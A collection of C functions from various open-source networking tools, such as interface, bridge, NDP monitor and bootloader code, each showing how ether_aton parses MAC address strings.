int intbssid(char *ifname, int ifs, int argc, char **argv) { struct ieee80211_bssid bssid; struct ether_addr *ea; short set; if (NO_ARG(argv[0])) { set = 0; argv++; argc--; } else set = 1; argv++; argc--; if ((set && argc != 1) || (!set && argc > 1)) { printf("%% bssid <xx:xx:xx:xx:xx:xx>\n"); printf("%% no bssid (auto-select)\n"); return(0); } if (set) { ea = ether_aton(argv[1]); if (ea == NULL) { printf("%% Invalid bssid\n"); return(0); } memcpy(&bssid.i_bssid, ea->ether_addr_octet, sizeof(bssid.i_bssid)); } else memset(&bssid.i_bssid, 0, sizeof(bssid.i_bssid)); strlcpy(bssid.i_name, ifname, sizeof(bssid.i_name)); if (ioctl(ifs, SIOCS80211BSSID, &bssid) == -1) { printf("%% inttxpower: SIOCS80211BSSID failed: %s\n", strerror(errno)); } return (0); }
static void setbridge_static(const char *val, const char *mac, int s, const struct afswtch *afp) { struct ifbareq req; struct ether_addr *ea; memset(&req, 0, sizeof(req)); strlcpy(req.ifba_ifsname, val, sizeof(req.ifba_ifsname)); ea = ether_aton(mac); if (ea == NULL) errx(1, "%s: invalid address: %s", val, mac); memcpy(req.ifba_dst, ea->octet, sizeof(req.ifba_dst)); req.ifba_flags = IFBAF_STATIC; if (do_cmd(s, BRDGSADDR, &req, sizeof(req), 1) < 0) err(1, "BRDGSADDR %s", val); }
static void nameif_parse_selector(ethtable_t *ch, char *selector) { struct ether_addr *lmac; #if ENABLE_FEATURE_NAMEIF_EXTENDED int found_selector = 0; while (*selector) { char *next; #endif selector = skip_whitespace(selector); #if ENABLE_FEATURE_NAMEIF_EXTENDED if (*selector == '\0') break; /* Search for the end .... */ next = skip_non_whitespace(selector); if (*next) *next++ = '\0'; /* Check for selectors, mac= is assumed */ if (strncmp(selector, "bus=", 4) == 0) { ch->bus_info = xstrdup(selector + 4); found_selector++; } else if (strncmp(selector, "driver=", 7) == 0) { ch->driver = xstrdup(selector + 7); found_selector++; } else { #endif lmac = ether_aton(selector + (strncmp(selector, "mac=", 4) == 0 ? 4 : 0)); /* Check ascii selector, convert and copy to *mac */ if (lmac == NULL) bb_error_msg_and_die("cannot parse %s", selector); ch->mac = xmalloc(ETH_ALEN); memcpy(ch->mac, lmac, ETH_ALEN); #if ENABLE_FEATURE_NAMEIF_EXTENDED found_selector++; }; selector = next; } if (found_selector == 0) bb_error_msg_and_die("no selectors found for %s", ch->ifname); #endif }
static int _nss_nisplus_parse_etherent (nis_result *result, struct etherent *ether, char *buffer, size_t buflen, int *errnop) { char *p = buffer; size_t room_left = buflen; if (result == NULL) return 0; if ((result->status != NIS_SUCCESS && result->status != NIS_S_SUCCESS) || NIS_RES_NUMOBJ (result) != 1 || __type_of (NIS_RES_OBJECT (result)) != NIS_ENTRY_OBJ || strcmp (NIS_RES_OBJECT (result)->EN_data.en_type, "ethers_tbl") != 0 || NIS_RES_OBJECT (result)->EN_data.en_cols.en_cols_len < 2) return 0; /* Generate the ether entry format and use the normal parser */ if (NISENTRYLEN (0, 0, result) + 1 > room_left) { *errnop = ERANGE; return -1; } char *cp = __stpncpy (p, NISENTRYVAL (0, 0, result), NISENTRYLEN (0, 0, result)); *cp = '\0'; room_left -= NISENTRYLEN (0, 0, result) + 1; ether->e_name = p; struct ether_addr *ea = ether_aton (NISENTRYVAL (0, 1, result)); if (ea == NULL) { *errnop = EINVAL; return -2; } ether->e_addr = *ea; return 1; }
PRIVATE_EXTERN Boolean my_CFStringArrayToEtherArray(CFArrayRef array, char * buffer, int * buffer_size, int * ret_count) { CFIndex count = CFArrayGetCount(array); int i; struct ether_addr * list = NULL; int space; space = roundup((int)count * sizeof(*list), sizeof(char *)); if (buffer != NULL) { if (*buffer_size < space) { /* not enough space for all elements */ return (FALSE); } list = (struct ether_addr *)buffer; } for (i = 0; i < count; i++) { struct ether_addr * eaddr; CFStringRef str = CFArrayGetValueAtIndex(array, i); char val[64]; if (isA_CFString(str) == NULL) { return (FALSE); } if (CFStringGetCString(str, val, sizeof(val), kCFStringEncodingASCII) == FALSE) { return (FALSE); } eaddr = ether_aton((char *)val); if (eaddr == NULL) { return (FALSE); } if (list != NULL) { list[i] = *eaddr; } } *buffer_size = space; *ret_count = (int)count; return (TRUE); }
int bridge_deladdr(int s, char *brdg, char *addr) { struct ifbareq ifba; struct ether_addr *ea; strlcpy(ifba.ifba_name, brdg, sizeof(ifba.ifba_name)); ea = ether_aton(addr); if (ea == NULL) { printf("%% Invalid address: %s\n", addr); return (EX_USAGE); } bcopy(ea, &ifba.ifba_dst, sizeof(struct ether_addr)); if (ioctl(s, SIOCBRDGDADDR, &ifba) < 0) { printf("%% unable to delete %s from %s\n", addr, brdg); return (EX_IOERR); } return (0); }
static int pci_vtnet_parsemac(char *mac_str, uint8_t *mac_addr) { struct ether_addr *ea; char *tmpstr; char zero_addr[ETHER_ADDR_LEN] = { 0, 0, 0, 0, 0, 0 }; tmpstr = strsep(&mac_str,"="); if ((mac_str != NULL) && (!strcmp(tmpstr,"mac"))) { ea = ether_aton(mac_str); if (ea == NULL || ETHER_IS_MULTICAST(ea->octet) || memcmp(ea->octet, zero_addr, ETHER_ADDR_LEN) == 0) { fprintf(stderr, "Invalid MAC %s\n", mac_str); return (EINVAL); } else memcpy(mac_addr, ea->octet, ETHER_ADDR_LEN); } return (0); }
static int setifbssid(prop_dictionary_t env, prop_dictionary_t oenv) { char buf[24]; struct ieee80211_bssid bssid; struct ether_addr *ea; if (getargstr(env, "bssid", buf, sizeof(buf)) == -1) errx(EXIT_FAILURE, "%s: BSSID too long", __func__); ea = ether_aton(buf); if (ea == NULL) { errx(EXIT_FAILURE, "malformed BSSID: %s", buf); return -1; } memcpy(&bssid.i_bssid, ea->ether_addr_octet, sizeof(bssid.i_bssid)); if (direct_ioctl(env, SIOCS80211BSSID, &bssid) == -1) err(EXIT_FAILURE, "SIOCS80211BSSID"); return 0; }
/* * ethers */ static int ethers(int argc, char *argv[]) { char hostname[MAXHOSTNAMELEN + 1], *hp; struct ether_addr ea, *eap; int i, rv; assert(argc > 1); assert(argv != NULL); #define ETHERSPRINT printf("%-17s %s\n", ether_ntoa(eap), hp) rv = RV_OK; if (argc == 2) { fprintf(stderr, "Enumeration not supported on ethers\n"); rv = RV_NOENUM; } else { for (i = 2; i < argc; i++) { if ((eap = ether_aton(argv[i])) == NULL) { eap = &ea; hp = argv[i]; if (ether_hostton(hp, eap) != 0) { rv = RV_NOTFOUND; break; } } else { hp = hostname; if (ether_ntohost(hp, eap) != 0) { rv = RV_NOTFOUND; break; } } ETHERSPRINT; } } return rv; }
static int get_dest_addr(const char *hostid, struct ether_addr *eaddr) { struct ether_addr *eap; eap = ether_aton(hostid); if (eap) { *eaddr = *eap; if (debug) fprintf(stderr, "The target station address is %s.\n", ether_ntoa(eaddr)); } else if (ether_hostton(hostid, eaddr) == 0) { if (debug) fprintf(stderr, "Station address for hostname %s is %s.\n", hostid, ether_ntoa(eaddr)); } else { (void)fprintf(stderr, "ether-wake: The Magic Packet host address must be " "specified as\n" " - a station address, 00:11:22:33:44:55, or\n" " - a hostname with a known 'ethers' entry.\n"); return -1; } return 0; }
void *send_pkt(void *threadid) { long tid; tid = (long) threadid; printf("Thread %ld in send\n",tid); char *interface="eth4",*dst_mac,*src_mac,*data="HELLO"; // uint8_t *ether_frame; char ether_frame[PACKET_SIZE]; struct sockaddr_ll device; struct ethhdr *eth=(struct ethhdr *)malloc(sizeof(struct ethhdr)); struct ether_addr *ea_dest,*ea_src; int bytes=0; ea_dest=(struct ether_addr *)malloc(sizeof(struct ether_addr)); ea_src=(struct ether_addr *)malloc(sizeof(struct ether_addr)); src_mac=(char *)malloc(6*sizeof(char)); dst_mac=(char *)malloc(6*sizeof(char)); // ether_frame=(uint8_t *)calloc(1,PACKET_SIZE*sizeof(uint8_t)); // memset(ether_frame,'a',PACKET_SIZE); memcpy(ether_frame + HEADER_LEN,map,PACKET_SIZE - HEADER_LEN); // ether_frame[PACKET_SIZE]='\0'; // ether_frame = (uint8_t *)malloc(1500 * sizeof(uint8_t)); // memset (ðer_frame, 0, (1500*sizeof(uint8_t))); iph = (struct ipheader *)malloc(sizeof( struct ipheader)); // printf("%d\n", (int)sizeof(struct ipheader)); layer4 = (struct custom_transport *)malloc(sizeof( struct custom_transport)); // printf("%d\n", (int)sizeof(struct custom_transport)); // ************************************************************************************************** int sock_raw = socket( AF_PACKET , SOCK_RAW , htons(ETH_P_IP)) ; if(sock_raw<0) perror("Socket cannot be created \n"); eth = (struct ethhdr *)ether_frame; iph = (struct ipheader *)(ether_frame + sizeof(struct ethhdr) ); layer4 = (struct custom_transport *)(ether_frame + HEADER_LEN - 4 ); ea_src=ether_aton("a0:36:9f:08:56:c2"); memcpy(eth->h_source,ea_src->ether_addr_octet,6); // eth->h_source=ea_src->ether_addr_octet; // eth->h_source=ea_src; // router-node1 interface // ea_dest=ether_aton("a0:36:9f:0a:5c:da"); // router-node2 interface ea_dest=ether_aton(destination_mac); memcpy(eth->h_dest,ea_dest->ether_addr_octet,6); //eth->h_dest=ea_dest->ether_addr_octet; // eth->h_proto=0x0800; eth->h_proto=htons(ETH_P_IP); iph->src_ip=2; iph->dest_ip=3; iph->session_id=atoi(session); // iph->total_len=16; layer4->seq=0; // layer4->src_p=1; // layer4->dest_p=0; // layer4->type=1; memset (&device, 0, sizeof (device)); if ((device.sll_ifindex = if_nametoindex (interface)) == 0) { perror ("if_nametoindex() failed to obtain interface index "); exit (EXIT_FAILURE); } // printf ("Index for interface %s is %i\n", interface, device.sll_ifindex); // Send ethernet frame to socket. int i=0; gettimeofday(&t1,0); start=((t1.tv_sec)*1000000+t1.tv_usec); while(i<PACKET_NUM) { printf("SEQ : %d\n",layer4->seq); // printf("PACKET: %s\n",ether_frame+ HEADER_LEN ); if ((bytes = sendto (sock_raw, ether_frame, PACKET_SIZE, 0, (struct sockaddr *) &device, sizeof (device))) <= 0) { perror ("sendto() failed"); exit (EXIT_FAILURE); } // sendto (sock_raw, ether_frame, PACKET_SIZE, 0, (struct sockaddr *) &device, sizeof (device)); i++; layer4->seq++; if (layer4->seq==PACKET_NUM) { // printf("LAST PACKET*******************************%d***************************************\n",layer4->seq); int final_pkt = ( FILE_SIZE - (layer4->seq*(PACKET_SIZE - HEADER_LEN))); // memcpy(map+(layer4->seq*(PACKET_SIZE - HEADER_LEN)),&buffer[HEADER_LEN],final_pkt); memcpy(ether_frame + HEADER_LEN,map+(layer4->seq*(PACKET_SIZE - HEADER_LEN)) ,final_pkt); if ((bytes = sendto (sock_raw, ether_frame, PACKET_SIZE, 0, (struct sockaddr *) &device, sizeof (device))) <= 0) { perror ("sendto() failed"); exit (EXIT_FAILURE); } } else { // memcpy(map+(layer4->seq*(PACKET_SIZE - HEADER_LEN)),&buffer[HEADER_LEN],PACKET_SIZE - HEADER_LEN); memcpy(ether_frame + HEADER_LEN,map+i*(PACKET_SIZE - HEADER_LEN) ,PACKET_SIZE - HEADER_LEN); } // memcpy(ether_frame + HEADER_LEN,map+i*(PACKET_SIZE - HEADER_LEN) ,PACKET_SIZE - HEADER_LEN); } // gettimeofday(&t2,0); // end=((t2.tv_sec)*1000000+t2.tv_usec); // total=(float)((end-start)); // printf("time to send : %f us \n",total); printf("start time : %ld\n", start); // printf("TIme to end : %ld\n", end); // printf("Packet has been sent \n"); close(sock_raw); pthread_exit(NULL); }
void parse_cache(char *filename) { xmlDoc *doc = NULL; xmlNode *root_element = NULL; xmlNode *neighbor = NULL; char *c; LIBXML_TEST_VERSION; /*parse the file and get the DOM */ doc = xmlReadFile(cache_path, NULL, 0); /*Get the root element node */ root_element = xmlDocGetRootElement(doc); neighbor = root_element->children; while(neighbor != NULL) { if( !STRCMP(neighbor->name,"neighbor") ) { struct in6_addr lla; struct ether_addr mac, eth; xmlNode *param = neighbor->children; uint16_t vlan_id = 4095; while(param != NULL) { if (param->type == XML_ELEMENT_NODE) { if( !STRCMP(param->name,"mac") ) { c=(char *)XML_GET_CONTENT(param->children); memcpy(&mac,ether_aton(c),sizeof(struct ether_addr)); /* memcpy(&mac,ether_aton((char *)XML_GET_CONTENT(param->children)),sizeof(struct ether_addr)); */ add_neighbor(&neighbors, vlan_id, mac); } else if( !STRCMP(param->name,"vlan_id") ) { char *text = (char*)XML_GET_CONTENT(param->children); vlan_id = atoi(text!=NULL?text:"4095"); } else if( !STRCMP(param->name,"time") ) { c=(char *)XML_GET_CONTENT(param->children); set_neighbor_timer(&neighbors, vlan_id, mac,atoi(c)); /* set_neighbor_timer(&neighbors, mac,atoi((char *)XML_GET_CONTENT(param->children))); */ } else if( !STRCMP(param->name,"lla") ) { if(param->children != NULL) { inet_pton(AF_INET6,(char *)XML_GET_CONTENT(param->children), &lla); set_neighbor_lla(&neighbors, vlan_id, mac, lla); } } else if( !STRCMP(param->name,"addresses") ) { xmlNode *address = param->children; while(address != NULL) { if (address->type == XML_ELEMENT_NODE) { if( !STRCMP(address->name,"address") ) { struct in6_addr addr; struct _xmlAttr *attr = address->properties; inet_pton(AF_INET6,(char *)XML_GET_CONTENT(address->children), &addr); add_neighbor_ip(&neighbors, vlan_id, mac, addr); while(attr != NULL) { if (attr->type == XML_ATTRIBUTE_NODE) { if( !STRCMP(attr->name,"lastseen") ) { set_neighbor_address_timer(&neighbors, vlan_id, mac, addr, (time_t) atoi((const char *)(attr->children->content))); } else if ( !STRCMP(attr->name,"firstseen") ) { set_neighbor_first_address_timer(&neighbors, vlan_id, mac, addr, (time_t) atoi((const char *)(attr->children->content))); } } attr = attr->next; } } } address = address->next; } } else if( !STRCMP(param->name,"old_mac") ) { xmlNode *old = param->children; while(old != NULL) { if (old->type == XML_ELEMENT_NODE) { if( !STRCMP(old->name,"mac") ) { struct _xmlAttr *attr = old->properties; memcpy(ð,ether_aton((char *)XML_GET_CONTENT(old->children)),sizeof(struct ether_addr)); add_neighbor_old_mac(&neighbors, vlan_id, lla, eth); while(attr != NULL) { if (attr->type == XML_ATTRIBUTE_NODE) { if( !STRCMP(attr->name,"last") ) { neighbor_set_last_mac(&neighbors, vlan_id, lla, eth); } } attr = attr->next; } } } old = old->next; } } } param = param->next; } } neighbor = neighbor->next; } xmlFreeDoc(doc); return; }
void parse_routers() { xmlDoc *doc = NULL; xmlNode *root_element = NULL; xmlNode *current = NULL; char* c; /*parse the file and get the DOM */ doc = xmlReadFile(config_path, NULL, 0); /*Get the root element node */ root_element = xmlDocGetRootElement(doc); current = root_element->children; request ="/config_ndpmon/actions_low_pri/sendmail/text()"; xmlobject = xmlXPathEval ((xmlChar*)request, xpctxt); if ((xmlobject->nodesetval!=NULL) || (strcmp("1", (char*)xmlobject->nodesetval->nodeTab[0]->content)!=0)) action_low_pri.sendmail=0; else action_low_pri.sendmail=1; xmlXPathFreeObject (xmlobject); while(current != NULL) { if (current->type == XML_ELEMENT_NODE) { if( !STRCMP(current->name,"routers") ) { xmlNode *router = current->children; while(router != NULL) { if (router->type == XML_ELEMENT_NODE) { if( !STRCMP(router->name,"router") ) { struct ether_addr mac; struct in6_addr lla; uint8_t param_curhoplimit=0; uint8_t param_flags_reserved=0; uint16_t param_router_lifetime=0; uint32_t param_reachable_timer=0; uint32_t param_retrans_timer=0; xmlNode *param = router->children; while(param != NULL) { if (param->type == XML_ELEMENT_NODE) { if( !STRCMP(param->name,"mac") ) { memcpy(&mac,ether_aton((char *)XML_GET_CONTENT(param->children)),sizeof(struct ether_addr)); } else if( !STRCMP(param->name,"lla") ) { inet_pton(AF_INET6,(char *)XML_GET_CONTENT(param->children), &lla); } else if( !STRCMP(param->name,"param_curhoplimit") ) { char* text = (char*)XML_GET_CONTENT(param->children); param_curhoplimit = atoi(text!=NULL?text:"0"); } else if( !STRCMP(param->name,"param_flags_reserved") ) { char* text = (char*)XML_GET_CONTENT(param->children); param_flags_reserved = atoi(text!=NULL?text:"0"); } else if( !STRCMP(param->name,"param_router_lifetime") ) { char* text = (char*)XML_GET_CONTENT(param->children); param_router_lifetime = atoi(text!=NULL?text:"0"); } else if( !STRCMP(param->name,"param_reachable_timer") ) { char* text = (char*)XML_GET_CONTENT(param->children); param_reachable_timer = atoi(text!=NULL?text:"0"); } else if( !STRCMP(param->name,"param_retrans_timer") ) { char* text = (char*)XML_GET_CONTENT(param->children); param_retrans_timer = atoi(text!=NULL?text:"0"); add_router(&routers, &mac, &lla, param_curhoplimit, param_flags_reserved, param_router_lifetime, param_reachable_timer, param_retrans_timer); } else if( !STRCMP(param->name,"addresses") ) { xmlNode *address = param->children; while(address != NULL) { if (address->type == XML_ELEMENT_NODE) { if( !STRCMP(address->name,"address") ) { struct in6_addr addr; inet_pton(AF_INET6,(char *)XML_GET_CONTENT(address->children), &addr); add_router_address(&routers, mac, addr); } } address = address->next; } } else if( !STRCMP(param->name,"prefixes") ) { xmlNode *prefix = param->children; while(prefix != NULL) { if (prefix->type == XML_ELEMENT_NODE) { if( !STRCMP(prefix->name,"prefix") ) { struct in6_addr addr; int mask=0; char buffer[INET6_ADDRSTRLEN]; struct _xmlAttr *attr = prefix->properties; while(attr != NULL) { if (attr->type == XML_ATTRIBUTE_NODE) { if( !STRCMP(attr->name,"mask") ) { c=(char *)XML_GET_CONTENT(attr->children); mask = atoi(c); /* mask = atoi((char *)XML_GET_CONTENT(attr->children)); */ } } attr = attr->next; } c=(char *)XML_GET_CONTENT(prefix->children); strncpy(buffer,c, INET6_ADDRSTRLEN); /* strcpy(buffer,(char *)XML_GET_CONTENT(prefix->children)); */ inet_pton(AF_INET6,buffer, &addr); add_prefix(&routers, lla, mac, addr,mask); } } prefix = prefix->next; } } } param = param->next; } } } router = router->next; } } } current = current->next; } xmlFreeDoc(doc); return; }
/* * Routers * */ void parse_routers() { xmlXPathObjectPtr xmlobject; xmlNode *router; char *text, *request="/config_ndpmon/routers"; xmlobject = xmlXPathEval ((xmlChar*)request, xpctxt); if (xmlobject->nodesetval==NULL) { xmlXPathFreeObject (xmlobject); return; } router = xmlobject->nodesetval->nodeTab[0]->children; while(router != NULL) { if (router->type == XML_ELEMENT_NODE && STRCMP(router->name,"router")==0) { struct ether_addr mac; struct in6_addr lla; uint8_t param_curhoplimit=0; uint8_t param_flags_reserved=0; uint16_t param_router_lifetime=0; uint32_t param_reachable_timer=0; uint32_t param_retrans_timer=0; uint32_t param_mtu=0; int params_volatile=1; prefix_t* tmp_prefix = NULL; address_t* tmp_address = NULL; xmlNode *param = router->children; int vlan_id = 4095; while(param != NULL) { if (param->type != XML_ELEMENT_NODE) { param = param->next; continue; } /* We have an XML Element: */ if( !STRCMP(param->name,"mac") ) { memcpy(&mac,ether_aton((char *)XML_GET_CONTENT(param->children)),sizeof(struct ether_addr)); } else if( !STRCMP(param->name,"vlan_id") ) { text = (char*)XML_GET_CONTENT(param->children); vlan_id = atoi(text!=NULL?text:"4095"); } else if( !STRCMP(param->name,"lla") ) { inet_pton(AF_INET6,(char *)XML_GET_CONTENT(param->children), &lla); } else if( !STRCMP(param->name,"param_curhoplimit") ) { text = (char*)XML_GET_CONTENT(param->children); param_curhoplimit = atoi(text!=NULL?text:"0"); } else if( !STRCMP(param->name,"param_flags_reserved") ) { text = (char*)XML_GET_CONTENT(param->children); param_flags_reserved = atoi(text!=NULL?text:"0"); } else if( !STRCMP(param->name,"param_router_lifetime") ) { text = (char*)XML_GET_CONTENT(param->children); param_router_lifetime = atoi(text!=NULL?text:"0"); } else if( !STRCMP(param->name,"param_reachable_timer") ) { text = (char*)XML_GET_CONTENT(param->children); param_reachable_timer = strtoul(text!=NULL?text:"0", NULL, 10); } else if( !STRCMP(param->name,"param_retrans_timer") ) { text = (char*)XML_GET_CONTENT(param->children); param_retrans_timer = strtoul(text!=NULL?text:"0", NULL, 10); } else if( !STRCMP(param->name,"param_mtu") ) { text = (char*)XML_GET_CONTENT(param->children); param_mtu = strtoul(text!=NULL?text:"0", NULL, 10); } else if( !STRCMP(param->name,"params_volatile") ) { text = (char*)XML_GET_CONTENT(param->children); params_volatile = atoi(text!=NULL?text:"1"); } else if( !STRCMP(param->name,"addresses") ) { xmlNode *address = param->children; while(address != NULL) { if (address->type == XML_ELEMENT_NODE && STRCMP(address->name,"address")==0 ) { /* Read address: */ address_t* new_address = malloc(sizeof(address_t)); if (new_address==NULL) { fprintf(stderr, "malloc failed."); } inet_pton(AF_INET6,(char *)XML_GET_CONTENT(address->children), &new_address->address); /* Add address to tmp address list: */ new_address->next = tmp_address; tmp_address = new_address; } /* Fetch next address node: */ address = address->next; } } /* end addresses */ else if( !STRCMP(param->name,"prefixes") ) { xmlNode *prefix = param->children; while(prefix != NULL) { if (prefix->type == XML_ELEMENT_NODE && STRCMP(prefix->name,"prefix")==0) { /* Read prefix params: */ xmlNode *prefix_param = prefix->children; prefix_t* new_prefix = malloc(sizeof(prefix_t)); char buffer[INET6_ADDRSTRLEN]; if (new_prefix==NULL) { fprintf(stderr, "malloc failed."); } memset(&new_prefix->prefix, 0, sizeof(struct in6_addr)); new_prefix->mask = 0; new_prefix->param_valid_time = 0; new_prefix->param_preferred_time = 0; while(prefix_param != NULL) { if (prefix_param->type != XML_ELEMENT_NODE) { prefix_param = prefix_param->next; continue; } /* We have an XML Element: */ if (STRCMP(prefix_param->name,"address")==0) { text=(char *)XML_GET_CONTENT(prefix_param->children); strncpy(buffer,text, INET6_ADDRSTRLEN); inet_pton(AF_INET6,buffer, &new_prefix->prefix); } else if (STRCMP(prefix_param->name,"mask")==0) { text=(char *)XML_GET_CONTENT(prefix_param->children); new_prefix->mask = atoi(text!=NULL?text:0); } else if (STRCMP(prefix_param->name,"param_flags_reserved")==0) { text=(char *)XML_GET_CONTENT(prefix_param->children); new_prefix->param_flags_reserved = atoi(text!=NULL?text:0); } else if (STRCMP(prefix_param->name,"param_valid_time")==0) { text=(char *)XML_GET_CONTENT(prefix_param->children); new_prefix->param_valid_time = strtoul(text!=NULL?text:"0", NULL, 10); } else if (STRCMP(prefix_param->name,"param_preferred_time")==0) { text=(char *)XML_GET_CONTENT(prefix_param->children); new_prefix->param_preferred_time = strtoul(text!=NULL?text:"0", NULL, 10); } prefix_param = prefix_param->next; } /* Add prefix to tmp list:*/ new_prefix->next = tmp_prefix; tmp_prefix = new_prefix; } /* Fetch next prefix node: */ prefix = prefix->next; } } /* end prefixes */ /* Fetch next router param: */ param = param->next; } /* end router params */ /* Add router to the router list: */ router_add( &routers, vlan_id, &mac, &lla, param_curhoplimit, param_flags_reserved, param_router_lifetime, param_reachable_timer, param_retrans_timer, param_mtu, params_volatile ); while (tmp_prefix!=NULL) { prefix_t* current=tmp_prefix; router_add_prefix( routers, vlan_id, lla, mac, current->prefix, current->mask, current->param_flags_reserved, current->param_valid_time, current->param_preferred_time ); tmp_prefix = current->next; free(current); } while (tmp_address!=NULL) { address_t* current=tmp_address; router_add_address(routers, vlan_id, mac, current->address); tmp_address = current->next; free(current); } } /* end is XML element and router */ /* Fetch next router node: */ router = router->next; } xmlXPathFreeObject (xmlobject); }
int early_board_init(void) { uint8_t ee_buf[OCTEON_EEPROM_MAX_TUPLE_LENGTH]; char *env_str; int cpu_ref = 50; int addr; /* NOTE: this is early in the init process, so the serial port is not * yet configured */ /* Determine board type/rev */ strncpy((char *)(gd->arch.board_desc.serial_str), "unknown", SERIAL_LEN); addr = octeon_tlv_get_tuple_addr(CONFIG_SYS_DEF_EEPROM_ADDR, EEPROM_BOARD_DESC_TYPE, 0, ee_buf, OCTEON_EEPROM_MAX_TUPLE_LENGTH); if (addr >= 0) { memcpy((void *)&(gd->arch.board_desc), ee_buf, sizeof(octeon_eeprom_board_desc_t)); } else { gd->flags |= GD_FLG_BOARD_DESC_MISSING; gd->arch.board_desc.board_type = CVMX_BOARD_TYPE_BBGW_REF; gd->arch.board_desc.rev_major = 1; gd->arch.board_desc.rev_minor = 0; } /* Populate global data from eeprom */ addr = octeon_tlv_get_tuple_addr(CONFIG_SYS_DEF_EEPROM_ADDR, EEPROM_CLOCK_DESC_TYPE, 0, ee_buf, OCTEON_EEPROM_MAX_TUPLE_LENGTH); if (addr >= 0) { memcpy((void *)&(gd->arch.clock_desc), ee_buf, sizeof(octeon_eeprom_clock_desc_t)); } cpu_ref = CN5020_FORCED_DDR_AND_CPU_REF_HZ / 1000000; gd->mem_clk = 266; gd->arch.ddr_ref_hertz = CN5020_FORCED_DDR_AND_CPU_REF_HZ; addr = octeon_tlv_get_tuple_addr(CONFIG_SYS_DEF_EEPROM_ADDR, EEPROM_MAC_ADDR_TYPE, 0, ee_buf, OCTEON_EEPROM_MAX_TUPLE_LENGTH); if (addr >= 0) { memcpy((void *)&(gd->arch.mac_desc), ee_buf, sizeof(octeon_eeprom_mac_addr_t)); } else { /* Make up some MAC addresses */ gd->arch.mac_desc.count = 255; gd->arch.mac_desc.mac_addr_base[0] = 0x00; gd->arch.mac_desc.mac_addr_base[1] = 0xDE; gd->arch.mac_desc.mac_addr_base[2] = 0xAD; gd->arch.mac_desc.mac_addr_base[3] = (gd->arch.board_desc.rev_major << 4) | gd->arch. board_desc.rev_minor; gd->arch.mac_desc.mac_addr_base[4] = gd->arch.board_desc.serial_str[0]; gd->arch.mac_desc.mac_addr_base[5] = 0x00; /* Read MAC address base/count from env */ if (!(env_str = getenv("octeon_mac_base")) || !ether_aton(env_str, (uint8_t *) (gd->arch.mac_desc.mac_addr_base))) { /* Special value allows silent overrides */ gd->arch.mac_desc.mac_addr_base[0] = 0x00; gd->arch.mac_desc.mac_addr_base[1] = 0xba; gd->arch.mac_desc.mac_addr_base[2] = 0xdd; } } /* Read CPU clock multiplier */ uint64_t data = cvmx_read_csr(CVMX_DBG_DATA); data = data >> 18; data &= 0x1f; gd->cpu_clk = data * cpu_ref * 1000000; gpio_direction_output(4, 0); /* GPIO 4 resets the switch */ gpio_direction_output(2, 0); /* GPIO 2 resets the SLIC */ mdelay(1); gpio_set_value(4, 1); gpio_set_value(2, 0); return 0; }
static int parse(int c, char **argv, int invert, unsigned int *flags, const struct arpt_entry *e, struct arpt_entry_target **t) { struct arpt_mangle *mangle = (struct arpt_mangle *)(*t)->data; struct in_addr *ipaddr; struct ether_addr *macaddr; int ret = 1; switch (c) { case MANGLE_IPS: /* if (e->arp.arpln_mask == 0) exit_error(PARAMETER_PROBLEM, "no pln defined"); if (e->arp.invflags & ARPT_INV_ARPPLN) exit_error(PARAMETER_PROBLEM, "! pln not allowed for --mangle-ip-s"); */ /* if (e->arp.arpln != 4) exit_error(PARAMETER_PROBLEM, "only pln=4 supported"); */ { unsigned int nr; ipaddr = parse_hostnetwork(argv[optind-1], &nr); } mangle->u_s.src_ip.s_addr = ipaddr->s_addr; free(ipaddr); mangle->flags |= ARPT_MANGLE_SIP; break; case MANGLE_IPT: /* if (e->arp.arpln_mask == 0) exit_error(PARAMETER_PROBLEM, "no pln defined"); if (e->arp.invflags & ARPT_INV_ARPPLN) exit_error(PARAMETER_PROBLEM, "! pln not allowed for --mangle-ip-d"); */ /* if (e->arp.arpln != 4) exit_error(PARAMETER_PROBLEM, "only pln=4 supported"); */ { unsigned int nr; ipaddr = parse_hostnetwork(argv[optind-1], &nr); } mangle->u_t.tgt_ip.s_addr = ipaddr->s_addr; free(ipaddr); mangle->flags |= ARPT_MANGLE_TIP; break; case MANGLE_DEVS: if (e->arp.arhln_mask == 0) exit_error(PARAMETER_PROBLEM, "no --h-length defined"); if (e->arp.invflags & ARPT_INV_ARPHLN) exit_error(PARAMETER_PROBLEM, "! --h-length not allowed for " "--mangle-mac-s"); if (e->arp.arhln != 6) exit_error(PARAMETER_PROBLEM, "only --h-length 6 " "supported"); macaddr = ether_aton(argv[optind-1]); if (macaddr == NULL) exit_error(PARAMETER_PROBLEM, "invalid source MAC"); memcpy(mangle->src_devaddr, macaddr, e->arp.arhln); mangle->flags |= ARPT_MANGLE_SDEV; break; case MANGLE_DEVT: if (e->arp.arhln_mask == 0) exit_error(PARAMETER_PROBLEM, "no --h-length defined"); if (e->arp.invflags & ARPT_INV_ARPHLN) exit_error(PARAMETER_PROBLEM, "! hln not allowed for --mangle-mac-d"); if (e->arp.arhln != 6) exit_error(PARAMETER_PROBLEM, "only --h-length 6 " "supported"); macaddr = ether_aton(argv[optind-1]); if (macaddr == NULL) exit_error(PARAMETER_PROBLEM, "invalid target MAC"); memcpy(mangle->tgt_devaddr, macaddr, e->arp.arhln); mangle->flags |= ARPT_MANGLE_TDEV; break; case MANGLE_TARGET: if (!strcmp(argv[optind-1], "DROP")) mangle->target = NF_DROP; else if (!strcmp(argv[optind-1], "ACCEPT")) mangle->target = NF_ACCEPT; else if (!strcmp(argv[optind-1], "CONTINUE")) mangle->target = ARPT_CONTINUE; else exit_error(PARAMETER_PROBLEM, "bad target for " "--mangle-target"); break; default: ret = 0; } return ret; }
bool TNlLink::ValidMacAddr(const std::string &hw) { return ether_aton(hw.c_str()) != nullptr; }
